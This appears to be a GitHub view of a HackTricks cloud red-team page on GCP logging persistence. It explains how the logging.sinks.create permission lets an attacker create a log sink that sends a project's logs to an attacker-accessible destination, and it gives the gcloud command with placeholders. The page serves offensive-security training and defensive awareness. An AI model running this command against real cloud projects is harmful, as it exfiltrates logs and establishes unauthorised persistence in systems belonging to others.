Skip to content

Latest commit

 

History

History
49 lines (33 loc) · 2.79 KB

gcp-logging-persistence.md

File metadata and controls

49 lines (33 loc) · 2.79 KB

GCP - Logging Persistence

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Logging

Find more information about Logging in:

{% content-ref url="../gcp-services/gcp-logging-enum.md" %} gcp-logging-enum.md {% endcontent-ref %}

logging.sinks.create

Create a sink to exfiltrate the logs to an attackers accessible destination:

{% code overflow="wrap" %}

gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"

{% endcode %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}